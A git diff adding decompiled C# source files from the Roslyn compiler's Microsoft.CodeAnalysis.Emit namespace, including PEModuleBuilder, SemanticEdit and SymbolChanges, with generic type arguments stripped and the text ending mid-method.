b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/LambdaSyntaxFacts.cs new file mode 100644 index 0000000..b401838 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/LambdaSyntaxFacts.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Emit; + +internal abstract class LambdaSyntaxFacts +{ + public abstract SyntaxNode GetLambda(SyntaxNode lambdaOrLambdaBodySyntax); + + public abstract SyntaxNode? TryGetCorrespondingLambdaBody(SyntaxNode previousLambdaSyntax, SyntaxNode lambdaOrLambdaBodySyntax); + + public abstract int GetDeclaratorPosition(SyntaxNode node); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/MethodImplKey.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/MethodImplKey.cs new file mode 100644 index 0000000..002e077 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/MethodImplKey.cs @@ -0,0 +1,40 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +internal readonly struct MethodImplKey : IEquatable +{ + internal readonly int ImplementingMethod; + + internal readonly int Index; + + internal MethodImplKey(int implementingMethod, int index) + { + ImplementingMethod = implementingMethod; + Index = index; + } + + public override bool Equals(object? obj) + { + if (obj is MethodImplKey) + { + return Equals((MethodImplKey)obj); + } + return false; + } + + public bool Equals(MethodImplKey other) + { + if (ImplementingMethod == other.ImplementingMethod) + { + return Index == other.Index; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(ImplementingMethod, Index); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/MethodInstrumentation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/MethodInstrumentation.cs new file mode 100644 index 0000000..a7f3ab8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/MethodInstrumentation.cs @@ -0,0 +1,17 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Emit; + +public readonly struct MethodInstrumentation +{ + internal static readonly MethodInstrumentation Empty = new MethodInstrumentation + { + Kinds = ImmutableArray.Empty + }; + + public ImmutableArray Kinds { get; init; } + + internal bool IsDefault => Kinds.IsDefault; + + internal bool IsEmpty => Kinds.IsEmpty; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/PEModuleBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/PEModuleBuilder.cs new file mode 100644 index 0000000..018103d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/PEModuleBuilder.cs @@ -0,0 +1,423 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit.NoPia; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +internal abstract class PEModuleBuilder : CommonPEModuleBuilder, ITokenDeferral where TCompilation : Compilation where TSourceModuleSymbol : class, IModuleSymbolInternal where TAssemblySymbol : class, IAssemblySymbolInternal where TTypeSymbol : class, ITypeSymbolInternal where TNamedTypeSymbol : class, TTypeSymbol, INamedTypeSymbolInternal where TMethodSymbol : class, IMethodSymbolInternal where TSyntaxNode : SyntaxNode where TEmbeddedTypesManager : CommonEmbeddedTypesManager where TModuleCompilationState : ModuleCompilationState +{ + private sealed class SynthesizedDefinitions + { + private ConcurrentQueue NestedTypes; + + public ConcurrentQueue Methods; + + public ConcurrentQueue Properties; + + public ConcurrentQueue Fields; + + internal IEnumerable OrderedNestedTypes => NestedTypes?.OrderBy((INestedTypeDefinition t) => t.Name, StringComparer.Ordinal); + + internal void AddNestedType(INestedTypeDefinition nestedType) + { + if (NestedTypes == null) + { + Interlocked.CompareExchange(ref NestedTypes, new ConcurrentQueue(), null); + } + NestedTypes.Enqueue(nestedType); + } + + public ImmutableArray GetAllMembers() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (Fields != null) + { + foreach (IFieldDefinition field in Fields) + { + instance.Add(field.GetInternalSymbol()); + } + } + if (Methods != null) + { + foreach (IMethodDefinition method in Methods) + { + instance.Add(method.GetInternalSymbol()); + } + } + if (Properties != null) + { + foreach (IPropertyDefinition property in Properties) + { + instance.Add(property.GetInternalSymbol()); + } + } + if (NestedTypes != null) + { + foreach (INestedTypeDefinition orderedNestedType in OrderedNestedTypes) + { + instance.Add(orderedNestedType.GetInternalSymbol()); + } + } + return instance.ToImmutableAndFree(); + } + } + + internal readonly TSourceModuleSymbol SourceModule; + + internal readonly TCompilation Compilation; + + private PrivateImplementationDetails _lazyPrivateImplementationDetails; + + private ArrayMethods _lazyArrayMethods; + + private HashSet _namesOfTopLevelTypes; + + internal readonly TModuleCompilationState CompilationState; + + private readonly RootModuleType _rootModuleType; + + private readonly ConcurrentDictionary _synthesizedTypeMembers = new ConcurrentDictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + private ConcurrentDictionary> _lazySynthesizedNamespaceMembers; + + public abstract TEmbeddedTypesManager EmbeddedTypesManagerOpt { get; } + + public RootModuleType RootModuleType => _rootModuleType; + + internal override IAssemblySymbolInternal CommonCorLibrary => CorLibrary; + + internal abstract TAssemblySymbol CorLibrary { get; } + + protected bool HaveDeterminedTopLevelTypes => _namesOfTopLevelTypes != null; + + internal sealed override IModuleSymbolInternal CommonSourceModule => SourceModule; + + internal sealed override Compilation CommonCompilation => Compilation; + + internal sealed override CommonModuleCompilationState CommonModuleCompilationState => CompilationState; + + internal sealed override CommonEmbeddedTypesManager CommonEmbeddedTypesManagerOpt => EmbeddedTypesManagerOpt; + + public ArrayMethods ArrayMethods + { + get + { + ArrayMethods arrayMethods = _lazyArrayMethods; + if (arrayMethods == null) + { + arrayMethods = new ArrayMethods(); + if (Interlocked.CompareExchange(ref _lazyArrayMethods, arrayMethods, null) != null) + { + arrayMethods = _lazyArrayMethods; + } + } + return arrayMethods; + } + } + + protected PEModuleBuilder(TCompilation compilation, TSourceModuleSymbol sourceModule, ModulePropertiesForSerialization serializationProperties, IEnumerable manifestResources, OutputKind outputKind, EmitOptions emitOptions, TModuleCompilationState compilationState) + : base(manifestResources, emitOptions, outputKind, serializationProperties, compilation) + { + Compilation = compilation; + SourceModule = sourceModule; + CompilationState = compilationState; + _rootModuleType = new RootModuleType(this); + } + + internal sealed override void CompilationFinished() + { + CompilationState.Freeze(); + } + + internal abstract INamedTypeReference GetSpecialType(SpecialType specialType, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics); + + internal sealed override ITypeReference EncTranslateType(ITypeSymbolInternal type, DiagnosticBag diagnostics) + { + return EncTranslateLocalVariableType((TTypeSymbol)type, diagnostics); + } + + internal virtual ITypeReference EncTranslateLocalVariableType(TTypeSymbol type, DiagnosticBag diagnostics) + { + return Translate(type, null, diagnostics); + } + + protected bool ContainsTopLevelType(string fullEmittedName) + { + return _namesOfTopLevelTypes.Contains(fullEmittedName); + } + + public override IEnumerable GetTopLevelTypeDefinitions(EmitContext context) + { + TypeReferenceIndexer typeReferenceIndexer = null; + HashSet names = ((_namesOfTopLevelTypes != null) ? null : new HashSet()); + if (EmbeddedTypesManagerOpt != null && !EmbeddedTypesManagerOpt.IsFrozen) + { + typeReferenceIndexer = new TypeReferenceIndexer(context); + Dispatch(typeReferenceIndexer); + } + AddTopLevelType(names, RootModuleType); + VisitTopLevelType(typeReferenceIndexer, RootModuleType); + yield return RootModuleType; + foreach (INamespaceTypeDefinition item in GetTopLevelTypeDefinitionsCore(context)) + { + AddTopLevelType(names, item); + VisitTopLevelType(typeReferenceIndexer, item); + yield return item; + } + if (EmbeddedTypesManagerOpt != null) + { + ImmutableArray.Enumerator enumerator2 = EmbeddedTypesManagerOpt.GetTypes(context.Diagnostics, names).GetEnumerator(); + while (enumerator2.MoveNext()) + { + INamespaceTypeDefinition current2 = enumerator2.Current; + AddTopLevelType(names, current2); + yield return current2; + } + } + if (names != null) + { + _namesOfTopLevelTypes = names; + } + static void AddTopLevelType(HashSet hashSet, INamespaceTypeDefinition type) + { + hashSet?.Add(MetadataHelpers.BuildQualifiedName(type.NamespaceName, MetadataWriter.GetMetadataName(type, 0))); + } + } + + public virtual ImmutableArray GetAdditionalTopLevelTypes() + { + return ImmutableArray.Empty; + } + + public virtual ImmutableArray GetEmbeddedTypes(DiagnosticBag diagnostics) + { + return ImmutableArray.Empty; + } + + internal abstract IAssemblyReference Translate(TAssemblySymbol symbol, DiagnosticBag diagnostics); + + internal abstract ITypeReference Translate(TTypeSymbol symbol, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics); + + internal abstract IMethodReference Translate(TMethodSymbol symbol, DiagnosticBag diagnostics, bool needDeclaration); + + internal sealed override IAssemblyReference Translate(IAssemblySymbolInternal symbol, DiagnosticBag diagnostics) + { + return Translate((TAssemblySymbol)symbol, diagnostics); + } + + internal sealed override ITypeReference Translate(ITypeSymbolInternal symbol, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + return Translate((TTypeSymbol)symbol, (TSyntaxNode)syntaxNodeOpt, diagnostics); + } + + internal sealed override IMethodReference Translate(IMethodSymbolInternal symbol, DiagnosticBag diagnostics, bool needDeclaration) + { + return Translate((TMethodSymbol)symbol, diagnostics, needDeclaration); + } + + internal MetadataConstant CreateConstant(TTypeSymbol type, object value, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + return new MetadataConstant(Translate(type, syntaxNodeOpt, diagnostics), value); + } + + private static void VisitTopLevelType(TypeReferenceIndexer noPiaIndexer, INamespaceTypeDefinition type) + { + noPiaIndexer?.Visit((ITypeDefinition)type); + } + + internal IFieldReference GetModuleVersionId(ITypeReference mvidType, TSyntaxNode syntaxOpt, DiagnosticBag diagnostics) + { + PrivateImplementationDetails privateImplClass = GetPrivateImplClass(syntaxOpt, diagnostics); + EnsurePrivateImplementationDetailsStaticConstructor(privateImplClass, syntaxOpt, diagnostics); + return privateImplClass.GetModuleVersionId(mvidType); + } + + internal IFieldReference GetInstrumentationPayloadRoot(int analysisKind, ITypeReference payloadType, TSyntaxNode syntaxOpt, DiagnosticBag diagnostics) + { + PrivateImplementationDetails privateImplClass = GetPrivateImplClass(syntaxOpt, diagnostics); + EnsurePrivateImplementationDetailsStaticConstructor(privateImplClass, syntaxOpt, diagnostics); + return privateImplClass.GetOrAddInstrumentationPayloadRoot(analysisKind, payloadType); + } + + private void EnsurePrivateImplementationDetailsStaticConstructor(PrivateImplementationDetails details, TSyntaxNode syntaxOpt, DiagnosticBag diagnostics) + { + if (details.GetMethod(".cctor") == null) + { + details.TryAddSynthesizedMethod(CreatePrivateImplementationDetailsStaticConstructor(details, syntaxOpt, diagnostics)); + } + } + + protected abstract IMethodDefinition CreatePrivateImplementationDetailsStaticConstructor(PrivateImplementationDetails details, TSyntaxNode syntaxOpt, DiagnosticBag diagnostics); + + internal abstract IEnumerable GetSynthesizedNestedTypes(TNamedTypeSymbol container); + + public IEnumerable GetSynthesizedTypes(TNamedTypeSymbol container) + { + IEnumerable synthesizedNestedTypes = GetSynthesizedNestedTypes(container); + IEnumerable enumerable = null; + if (_synthesizedTypeMembers.TryGetValue(container, out var value)) + { + enumerable = value.OrderedNestedTypes; + } + if (synthesizedNestedTypes == null) + { + return enumerable; + } + if (enumerable == null) + { + return synthesizedNestedTypes; + } + return synthesizedNestedTypes.Concat(enumerable); + } + + private SynthesizedDefinitions GetOrAddSynthesizedDefinitions(TNamedTypeSymbol container) + { + return _synthesizedTypeMembers.GetOrAdd(container, (TNamedTypeSymbol _) => new SynthesizedDefinitions()); + } + + public void AddSynthesizedDefinition(TNamedTypeSymbol container, IMethodDefinition method) + { + SynthesizedDefinitions orAddSynthesizedDefinitions = GetOrAddSynthesizedDefinitions(container); + if (orAddSynthesizedDefinitions.Methods == null) + { + Interlocked.CompareExchange(ref orAddSynthesizedDefinitions.Methods, new ConcurrentQueue(), null); + } + orAddSynthesizedDefinitions.Methods.Enqueue(method); + } + + public void AddSynthesizedDefinition(TNamedTypeSymbol container, IPropertyDefinition property) + { + SynthesizedDefinitions orAddSynthesizedDefinitions = GetOrAddSynthesizedDefinitions(container); + if (orAddSynthesizedDefinitions.Properties == null) + { + Interlocked.CompareExchange(ref orAddSynthesizedDefinitions.Properties, new ConcurrentQueue(), null); + } + orAddSynthesizedDefinitions.Properties.Enqueue(property); + } + + public void AddSynthesizedDefinition(TNamedTypeSymbol container, IFieldDefinition field) + { + SynthesizedDefinitions orAddSynthesizedDefinitions = GetOrAddSynthesizedDefinitions(container); + if (orAddSynthesizedDefinitions.Fields == null) + { + Interlocked.CompareExchange(ref orAddSynthesizedDefinitions.Fields, new ConcurrentQueue(), null); + } + orAddSynthesizedDefinitions.Fields.Enqueue(field); + } + + public void AddSynthesizedDefinition(TNamedTypeSymbol container, INestedTypeDefinition nestedType) + { + GetOrAddSynthesizedDefinitions(container).AddNestedType(nestedType); + } + + public void AddSynthesizedDefinition(INamespaceSymbolInternal container, INamespaceOrTypeSymbolInternal typeOrNamespace) + { + if (_lazySynthesizedNamespaceMembers == null) + { + Interlocked.CompareExchange(ref _lazySynthesizedNamespaceMembers, new ConcurrentDictionary>(), null); + } + _lazySynthesizedNamespaceMembers.GetOrAdd(container, (INamespaceSymbolInternal _) => new ConcurrentQueue()).Enqueue(typeOrNamespace); + } + + public IEnumerable GetSynthesizedFields(TNamedTypeSymbol container) + { + if (!_synthesizedTypeMembers.TryGetValue(container, out var value)) + { + return null; + } + return value.Fields; + } + + public IEnumerable GetSynthesizedProperties(TNamedTypeSymbol container) + { + if (!_synthesizedTypeMembers.TryGetValue(container, out var value)) + { + return null; + } + return value.Properties; + } + + public IEnumerable GetSynthesizedMethods(TNamedTypeSymbol container) + { + if (!_synthesizedTypeMembers.TryGetValue(container, out var value)) + { + return null; + } + return value.Methods; + } + + internal override ImmutableDictionary> GetAllSynthesizedMembers() + { + ImmutableDictionary>.Builder builder = ImmutableDictionary.CreateBuilder>(); + foreach (KeyValuePair synthesizedTypeMember in _synthesizedTypeMembers) + { + builder.Add(synthesizedTypeMember.Key, synthesizedTypeMember.Value.GetAllMembers()); + } + ConcurrentDictionary> lazySynthesizedNamespaceMembers = _lazySynthesizedNamespaceMembers; + if (lazySynthesizedNamespaceMembers != null) + { + foreach (KeyValuePair> item in lazySynthesizedNamespaceMembers) + { + builder.Add(item.Key, ((IEnumerable)item.Value).ToImmutableArray()); + } + } + return builder.ToImmutable(); + } + + IFieldReference ITokenDeferral.GetFieldForData(ImmutableArray data, ushort alignment, SyntaxNode syntaxNode, DiagnosticBag diagnostics) + { + return GetPrivateImplClass((TSyntaxNode)syntaxNode, diagnostics).CreateDataField(data, alignment); + } + + IFieldReference ITokenDeferral.GetArrayCachingFieldForData(ImmutableArray data, IArrayTypeReference arrayType, SyntaxNode syntaxNode, DiagnosticBag diagnostics) + { + PrivateImplementationDetails privateImplClass = GetPrivateImplClass((TSyntaxNode)syntaxNode, diagnostics); + EmitContext emitContext = new EmitContext(this, syntaxNode, diagnostics, metadataOnly: false, includePrivateMembers: true); + return privateImplClass.CreateArrayCachingField(data, arrayType, emitContext); + } + + public abstract IMethodReference GetInitArrayHelper(); + + internal PrivateImplementationDetails GetPrivateImplClass(TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + PrivateImplementationDetails privateImplementationDetails = _lazyPrivateImplementationDetails; + if (privateImplementationDetails == null) + { + privateImplementationDetails = new PrivateImplementationDetails(this, SourceModule.Name, Compilation.GetSubmissionSlotIndex(), GetSpecialType(SpecialType.System_Object, syntaxNodeOpt, diagnostics), GetSpecialType(SpecialType.System_ValueType, syntaxNodeOpt, diagnostics), GetSpecialType(SpecialType.System_Byte, syntaxNodeOpt, diagnostics), GetSpecialType(SpecialType.System_Int16, syntaxNodeOpt, diagnostics), GetSpecialType(SpecialType.System_Int32, syntaxNodeOpt, diagnostics), GetSpecialType(SpecialType.System_Int64, syntaxNodeOpt, diagnostics), SynthesizeAttribute(WellKnownMember.System_Runtime_CompilerServices_CompilerGeneratedAttribute__ctor)); + if (Interlocked.CompareExchange(ref _lazyPrivateImplementationDetails, privateImplementationDetails, null) != null) + { + privateImplementationDetails = _lazyPrivateImplementationDetails; + } + } + return privateImplementationDetails; + } + + public PrivateImplementationDetails? FreezePrivateImplementationDetails() + { + _lazyPrivateImplementationDetails?.Freeze(); + return _lazyPrivateImplementationDetails; + } + + public override PrivateImplementationDetails? GetFrozenPrivateImplementationDetails() + { + return _lazyPrivateImplementationDetails; + } + + public sealed override ITypeReference GetPlatformType(PlatformType platformType, EmitContext context) + { + if (platformType == PlatformType.SystemType) + { + throw ExceptionUtilities.UnexpectedValue(platformType); + } + return GetSpecialType((SpecialType)platformType, (TSyntaxNode)context.SyntaxNode, context.Diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SemanticEdit.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SemanticEdit.cs new file mode 100644 index 0000000..79d881b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SemanticEdit.cs @@ -0,0 +1,139 @@ +using System; +using System.Collections.Immutable; +using System.ComponentModel; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +public readonly struct SemanticEdit : IEquatable +{ + public SemanticEditKind Kind { get; } + + public ISymbol? OldSymbol { get; } + + public ISymbol? NewSymbol { get; } + + public Func? SyntaxMap { get; } + + public bool PreserveLocalVariables { get; } + + public MethodInstrumentation Instrumentation { get; } + + [EditorBrowsable(EditorBrowsableState.Never)] + public SemanticEdit(SemanticEditKind kind, ISymbol? oldSymbol, ISymbol? newSymbol, Func? syntaxMap, bool preserveLocalVariables) + : this(kind, oldSymbol, newSymbol, syntaxMap, preserveLocalVariables, MethodInstrumentation.Empty) + { + } + + public SemanticEdit(SemanticEditKind kind, ISymbol? oldSymbol, ISymbol? newSymbol, Func? syntaxMap = null, bool preserveLocalVariables = false, MethodInstrumentation instrumentation = default(MethodInstrumentation)) + { + if (kind <= SemanticEditKind.None || kind > SemanticEditKind.Replace) + { + throw new ArgumentOutOfRangeException("kind"); + } + bool flag = oldSymbol == null; + if (flag) + { + bool flag2 = ((kind == SemanticEditKind.Insert || kind == SemanticEditKind.Replace) ? true : false); + flag = !flag2; + } + if (flag) + { + throw new ArgumentNullException("oldSymbol"); + } + if (newSymbol == null) + { + throw new ArgumentNullException("newSymbol"); + } + if (instrumentation.IsDefault) + { + instrumentation = MethodInstrumentation.Empty; + } + if (!instrumentation.IsEmpty) + { + if (kind != SemanticEditKind.Update) + { + throw new ArgumentOutOfRangeException("kind"); + } + if (!(oldSymbol is IMethodSymbol)) + { + throw new ArgumentException(CodeAnalysisResources.MethodSymbolExpected, "oldSymbol"); + } + if (!(newSymbol is IMethodSymbol)) + { + throw new ArgumentException(CodeAnalysisResources.MethodSymbolExpected, "newSymbol"); + } + ImmutableArray.Enumerator enumerator = instrumentation.Kinds.GetEnumerator(); + while (enumerator.MoveNext()) + { + InstrumentationKind current = enumerator.Current; + if (!current.IsValid()) + { + throw new ArgumentOutOfRangeException("Kinds", string.Format(CodeAnalysisResources.InvalidInstrumentationKind, current)); + } + } + } + Kind = kind; + OldSymbol = oldSymbol; + NewSymbol = newSymbol; + PreserveLocalVariables = preserveLocalVariables; + SyntaxMap = syntaxMap; + Instrumentation = instrumentation; + } + + internal SemanticEdit(IMethodSymbol oldSymbol, IMethodSymbol newSymbol, ImmutableArray instrumentationKinds) + { + SyntaxMap = null; + PreserveLocalVariables = false; + Kind = SemanticEditKind.Update; + OldSymbol = oldSymbol; + NewSymbol = newSymbol; + Instrumentation = new MethodInstrumentation + { + Kinds = instrumentationKinds + }; + } + + internal static SemanticEdit Create(SemanticEditKind kind, ISymbolInternal oldSymbol, ISymbolInternal newSymbol, Func? syntaxMap = null, bool preserveLocalVariables = false) + { + return new SemanticEdit(kind, oldSymbol?.GetISymbol(), newSymbol?.GetISymbol(), syntaxMap, preserveLocalVariables, default(MethodInstrumentation)); + } + + public override int GetHashCode() + { + return Hash.Combine(OldSymbol, Hash.Combine(NewSymbol, (int)Kind)); + } + + public override bool Equals(object? obj) + { + if (obj is SemanticEdit other) + { + return Equals(other); + } + return false; + } + + public bool Equals(SemanticEdit other) + { + if (Kind == other.Kind && ((OldSymbol == null) ? (other.OldSymbol == null) : OldSymbol.Equals(other.OldSymbol))) + { + if (NewSymbol != null) + { + return NewSymbol.Equals(other.NewSymbol); + } + return other.NewSymbol == null; + } + return false; + } + + public static bool operator ==(SemanticEdit left, SemanticEdit right) + { + return left.Equals(right); + } + + public static bool operator !=(SemanticEdit left, SemanticEdit right) + { + return !(left == right); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SemanticEditKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SemanticEditKind.cs new file mode 100644 index 0000000..30c0526 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SemanticEditKind.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Emit; + +public enum SemanticEditKind +{ + None, + Update, + Insert, + Delete, + Replace +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/StateMachineMoveNextBodyDebugInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/StateMachineMoveNextBodyDebugInfo.cs new file mode 100644 index 0000000..212e13b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/StateMachineMoveNextBodyDebugInfo.cs @@ -0,0 +1,13 @@ +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.Emit; + +internal abstract class StateMachineMoveNextBodyDebugInfo +{ + public readonly IMethodDefinition KickoffMethod; + + public StateMachineMoveNextBodyDebugInfo(IMethodDefinition kickoffMethod) + { + KickoffMethod = kickoffMethod; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SymbolChange.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SymbolChange.cs new file mode 100644 index 0000000..49e608a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SymbolChange.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.Emit; + +internal enum SymbolChange +{ + None, + ContainsChanges, + Updated, + Added +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SymbolChanges.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SymbolChanges.cs new file mode 100644 index 0000000..1210d75 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/SymbolChanges.cs @@ -0,0 +1,434 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +internal abstract class SymbolChanges +{ + private readonly DefinitionMap _definitionMap; + + private readonly IReadOnlyDictionary _changes; + + private readonly ISet _replacedSymbols; + + private readonly ImmutableDictionary> _deletedMembers; + + private readonly Func _isAddedSymbol; + + public DefinitionMap DefinitionMap => _definitionMap; + + protected SymbolChanges(DefinitionMap definitionMap, IEnumerable edits, Func isAddedSymbol) + { + _definitionMap = definitionMap; + _isAddedSymbol = isAddedSymbol; + CalculateChanges(edits, out _changes, out _replacedSymbols, out _deletedMembers); + } + + public ImmutableDictionary> GetAllDeletedMembers() + { + ImmutableDictionary>.Builder builder = ImmutableDictionary.CreateBuilder>(); + foreach (KeyValuePair> deletedMember in _deletedMembers) + { + KeyValuePairUtil.Deconstruct(deletedMember, out var key, out var value); + ISymbol symbol = key; + ImmutableArray deletedMembers = value; + ISymbolInternal iSymbolInternalOrNull = GetISymbolInternalOrNull(symbol); + if (iSymbolInternalOrNull != null) + { + ImmutableArray deletedMemberInternalSymbols = GetDeletedMemberInternalSymbols(deletedMembers); + builder.Add(iSymbolInternalOrNull, deletedMemberInternalSymbols); + } + } + return builder.ToImmutable(); + } + + private ImmutableArray GetDeletedMemberInternalSymbols(IDefinition containingType, Func? predicate = null) + { + ISymbol symbol = containingType.GetInternalSymbol()?.GetISymbol(); + if (symbol == null) + { + return ImmutableArray.Empty; + } + if (!_deletedMembers.TryGetValue(symbol, out ImmutableArray value)) + { + return ImmutableArray.Empty; + } + return GetDeletedMemberInternalSymbols(value, predicate); + } + + private ImmutableArray GetDeletedMemberInternalSymbols(ImmutableArray deletedMembers, Func? predicate = null) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = deletedMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + if (predicate == null || predicate(current)) + { + ISymbolInternal iSymbolInternalOrNull = GetISymbolInternalOrNull(current); + if (iSymbolInternalOrNull != null) + { + instance.Add(iSymbolInternalOrNull); + } + } + } + return instance.ToImmutableAndFree(); + } + + public ImmutableArray GetDeletedMethods(IDefinition containingType) + { + return GetDeletedMemberInternalSymbols(containingType, (ISymbol m) => m is IMethodSymbol); + } + + public bool IsReplaced(IDefinition definition, bool checkEnclosingTypes = false) + { + ISymbolInternal internalSymbol = definition.GetInternalSymbol(); + if (internalSymbol != null) + { + return IsReplaced(internalSymbol.GetISymbol(), checkEnclosingTypes); + } + return false; + } + + public bool IsReplaced(ISymbol symbol, bool checkEnclosingTypes = false) + { + for (ISymbol symbol2 = symbol; symbol2 != null; symbol2 = symbol2.ContainingType) + { + if (_replacedSymbols.Contains(symbol2)) + { + return true; + } + if (!checkEnclosingTypes) + { + return false; + } + } + return false; + } + + public bool IsAdded(ISymbol symbol) + { + return _isAddedSymbol(symbol); + } + + public bool RequiresCompilation(ISymbol symbol) + { + return GetChange(symbol) != SymbolChange.None; + } + + private bool DefinitionExistsInPreviousGeneration(ISymbolInternal symbol) + { + IDefinition definition = (IDefinition)symbol.GetCciAdapter(); + if (!_definitionMap.DefinitionExists(definition)) + { + return false; + } + ISymbol symbol2 = symbol.GetISymbol(); + do + { + if (_replacedSymbols.Contains(symbol2)) + { + return false; + } + symbol2 = symbol2.ContainingType; + } + while (symbol2 != null); + return true; + } + + public SymbolChange GetChange(IDefinition def) + { + ISymbolInternal internalSymbol = def.GetInternalSymbol(); + if (internalSymbol is ISynthesizedGlobalMethodSymbol) + { + return SymbolChange.Added; + } + if (internalSymbol is ISynthesizedMethodBodyImplementationSymbol synthesizedMethodBodyImplementationSymbol) + { + SymbolChange change = GetChange((IDefinition)synthesizedMethodBodyImplementationSymbol.Method.GetCciAdapter()); + switch (change) + { + case SymbolChange.Updated: + if (!DefinitionExistsInPreviousGeneration(synthesizedMethodBodyImplementationSymbol.ContainingType)) + { + return SymbolChange.Added; + } + if (!DefinitionExistsInPreviousGeneration(synthesizedMethodBodyImplementationSymbol)) + { + return SymbolChange.Added; + } + if (!synthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency) + { + return SymbolChange.None; + } + if (synthesizedMethodBodyImplementationSymbol.Kind == SymbolKind.NamedType) + { + return SymbolChange.ContainsChanges; + } + if (synthesizedMethodBodyImplementationSymbol.Kind == SymbolKind.Method) + { + return SymbolChange.Updated; + } + return SymbolChange.None; + case SymbolChange.Added: + if (!DefinitionExistsInPreviousGeneration(synthesizedMethodBodyImplementationSymbol)) + { + return SymbolChange.Added; + } + if (synthesizedMethodBodyImplementationSymbol.Kind == SymbolKind.NamedType) + { + return SymbolChange.ContainsChanges; + } + if (synthesizedMethodBodyImplementationSymbol.Kind == SymbolKind.Method) + { + return SymbolChange.Updated; + } + return SymbolChange.None; + default: + throw ExceptionUtilities.UnexpectedValue(change); + } + } + if (internalSymbol != null) + { + return GetChange(internalSymbol.GetISymbol()); + } + if (_definitionMap.DefinitionExists(def)) + { + if (!(def is ITypeDefinition)) + { + return SymbolChange.None; + } + return SymbolChange.ContainsChanges; + } + return SymbolChange.Added; + } + + private SymbolChange GetChange(ISymbol symbol) + { + if (symbol is IMethodSymbol methodSymbol) + { + ISymbol partialDefinitionPart = methodSymbol.PartialDefinitionPart; + symbol = partialDefinitionPart ?? symbol; + } + if (_changes.TryGetValue(symbol, out var value)) + { + return value; + } + ISymbol containingSymbol = GetContainingSymbol(symbol); + if (containingSymbol == null) + { + return SymbolChange.None; + } + SymbolChange change = GetChange(containingSymbol); + switch (change) + { + case SymbolChange.Added: + return SymbolChange.Added; + case SymbolChange.None: + return SymbolChange.None; + case SymbolChange.ContainsChanges: + case SymbolChange.Updated: + { + ISymbolInternal iSymbolInternalOrNull = GetISymbolInternalOrNull(symbol); + if (iSymbolInternalOrNull == null) + { + return SymbolChange.None; + } + if (iSymbolInternalOrNull.Kind == SymbolKind.Namespace) + { + if (!_definitionMap.NamespaceExists((INamespace)iSymbolInternalOrNull.GetCciAdapter())) + { + return 